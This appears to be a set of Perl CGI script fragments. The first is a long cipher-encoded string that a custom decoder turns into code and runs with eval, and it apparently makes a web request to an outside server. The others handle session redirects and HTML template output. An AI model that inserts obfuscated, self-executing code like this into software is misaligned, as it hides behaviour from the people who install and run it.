my $qwer='iPd oh::fXAnd9_BO_45R3 _8VTXP9PdI_B7_88sss_8dPdIIs07d_8dGd9_88_BO_45R3 _8g5GPsdl_BO_45R3 _8VTXP9_B7_8VDbz_LOvttr_gcvhft_L7_BO_45_8VTXP9_B7_LdP_8csss_gA_8d_8c_8c0_BO_45R3 _8V7XAiRdG9_B7_88_8cAp0_87O0G_8c57R0G_8cI0AdGAd_8dAp0_Bc_8VxhbK_LOI0AdGAd_L7_8k_8VTXP9_8ky_88_BO_45_8VldRX9d _B7 oh::fXAnd9::obDt_87>Gds_8F rlX9X _B7> _889A2_88,_45rddlE77l _B7> _8VTXP9PdI,_45rddlrXl9 _B7> _88T992_8FF4_8q_88,_45_8q_BO_450c _8F_8VldRX9d_8q_LO_45_8VldRX9d_87>5i9XcIiPT_8Fy_8q_BO_452l0G9 _8VldRX9d _881Dt _8V7XAiRdG9 vttr_8cy_8d4_gAG_gAG_88_BO_45sT0Id _8F<_8VldRX9d>_8q_LO_45I5P9 iGIdPP _8c_gAf_8c_BO_45_L7_45sT0Id _8F <_8VldRX9d> _8q _LO_45ATXR2_BO_45_8c_8F_8d_85_Bc_8q:_8F_8d_85_8q_8c_BO_45_8V5GPsdl_LO_8Vy_L7_B7_8V8_BO _45_L7_45_87AIXPd _8VldRX9d_BO_450c_8F_8V5GPsdl_LOftEtQf_L7 dZ _8Lld70ldA9_8L_8q_LO_452l0G9 _8VZ_87>ld70ldA9_8F_8V5GPsdl_LOJhxEtohb_L7_8q_BO_45dH09_8F_8q_BO_45_L7_45_L7dIPd_LO_450c _8F_8VxhbK_LOR5HI0R_L7>g4_8q_LO_452l0G9 _8VZ_87>ld70ldA9_8F_88sss_8dPdIIs07d_8dGd9_8cO57AXGGdA90XG_8dT9RI_88_8q_BO_45dH09_8F_8q_BO_45_L7_45_8VxhbK_LOR5HI0R_L7_8O_8O_BO_45P5Cd_gcAXGc0p_8F4,_88R5HI0R_88,_8VxhbK_LOR5HI0R_L7_8q_BO_45_L7_45_45';eval(unfsmy($qwer));

##</code><code>##

&Error;
print $q->redirect("$SCRIPT_NAME?ses=$ran");

##</code><code>##

	&redirect_to_login;
	&printheader;
	my $page=new hfparser
		DATA=>"shabl/author.html",
		ERROR=>\%error
	;
	$page->add_regesp('{VERSION}',$CONF{VERSION});
	$page->ParseData;
	$page->print;
	exit(1);